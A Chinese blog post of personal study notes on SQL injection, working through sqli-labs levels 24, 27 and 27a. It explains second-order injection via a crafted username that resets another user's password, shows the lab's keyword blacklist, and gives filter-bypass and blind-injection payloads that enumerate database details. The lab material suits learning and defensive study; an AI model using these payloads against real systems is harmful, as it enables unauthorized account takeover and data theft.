SQL注入基础学习6

SQL注入基础学习6

三、sqli-labs的page-2

6、第24关
二次注入基础知识
  • 二次注入原理:在第一次进行数据库插入数据的时候,仅仅只是使用了addslashesaddslashes() 函数返回在预定义字符之前添加反斜杠的字符串。)或者是借助get_magic_quotes_gpc(php7.4版本之后被弃用)对其中的特殊字符进行了转义,但是addslashes有一个特点就是虽然在过滤后会添加\进行转义,但是\并不会插入到数据库中,在写入数据库的时候还是保留了原来的数据

  • 二次注入的过程:

    • 第一步:插入恶意数据
      • 第一次进行数据库插入数据的时候,仅仅对其的特殊字符进行转义,在写入数据库的时候还是保留了原来的数据,但是数据的本身包含恶意内容
    • 第二步:引用恶意数据
      • 再将数据存入到数据库中后,开发者就认为数据是可信的。在下一次需要进行查询的时候,直接从数据库中取出恶意数据,没有进行校验和处理。这样就会造成sql二次注入
    • 图解
  • 关卡实操

    • 查看数据库中的用户

      假如你知道有用户admin4,但是不知道密码,此时可以从二次注入来将admin4给修改了

    • 注册一个新用户admin4' #

    • 登录admin4' #,修改密码,将密码改为56789

      此时会发现,是admin4的账户密码被修改了

    • 分析修改密码的部分代码

      • UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass'
        

        注册的恶意用户可以将sql语句闭合并且注释了后面密码对比,以次达到二次注入的效果

7、第27关

查看该关卡对过滤要求的源码

function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
$id= preg_replace('/[--]/',"", $id);		//Strip out --.
$id= preg_replace('/[#]/',"", $id);			//Strip out #.
$id= preg_replace('/[ +]/',"", $id);	    //Strip out spaces.
$id= preg_replace('/select/m',"", $id);	    //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);	    //Strip out spaces.
$id= preg_replace('/union/s',"", $id);	    //Strip out union
$id= preg_replace('/select/s',"", $id);	    //Strip out select
$id= preg_replace('/UNION/s',"", $id);	    //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id);	    //Strip out SELECT
$id= preg_replace('/Union/s',"", $id);	    //Strip out Union
$id= preg_replace('/Select/s',"", $id);	    //Strip out select
return $id;
}
  • 绕过手法:

    • 空格的过滤可以用%0a来绕过

    • union可以用双写绕过,也可以用大小写绕过

    • select观察源码,过滤了两次,可以写三次来绕过或者大小写绕过

    • payload:

      id=0'%0auniunionon%0aseselselectectlect%0a1,2,3%0aor%0a'1'='1
      
      id=0'%0auNion%0aseLect%0a1,2,3%0aor%0a'1'='1
      
8、第27a关

该关卡在上一关的基础上加了盲注,分析源码

  • 过滤的内容

    function blacklist($id)
    {
    $id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
    $id= preg_replace('/[--]/',"", $id);		//Strip out --.
    $id= preg_replace('/[#]/',"", $id);			//Strip out #.
    $id= preg_replace('/[ +]/',"", $id);	    //Strip out spaces.
    $id= preg_replace('/select/m',"", $id);	    //Strip out spaces.
    $id= preg_replace('/[ +]/',"", $id);	    //Strip out spaces.
    $id= preg_replace('/union/s',"", $id);	    //Strip out union
    $id= preg_replace('/select/s',"", $id);	    //Strip out select
    $id= preg_replace('/UNION/s',"", $id);	    //Strip out UNION
    $id= preg_replace('/SELECT/s',"", $id);	    //Strip out SELECT
    $id= preg_replace('/Union/s',"", $id);	    //Strip out Union
    $id= preg_replace('/Select/s',"", $id);	    //Strip out Select
    return $id;
    }
    
  • 收到参数后的处理

根据源码可以知道,闭合方式为"闭合

构造payload

获取数据库长度
?id=1"%0aand%0aif%0a(length(database())=8,1,0)%0aand%0a"1"="1

数据库的名字
?id=1"%0aand%0aif%0a(mid(database(),1,1)='s',1,0)%0aand%0a"1"="1

表的个数
?id=1"%0aand%0a(SelecT%0a count(table_name)%0afrom%0ainformation_schema.tables%0awhere%0atable_schema=database())=4%0aand%0a"1"="1
posted @ 2023-08-24 17:54  凉城厌心  阅读(11)  评论(0编辑  收藏  举报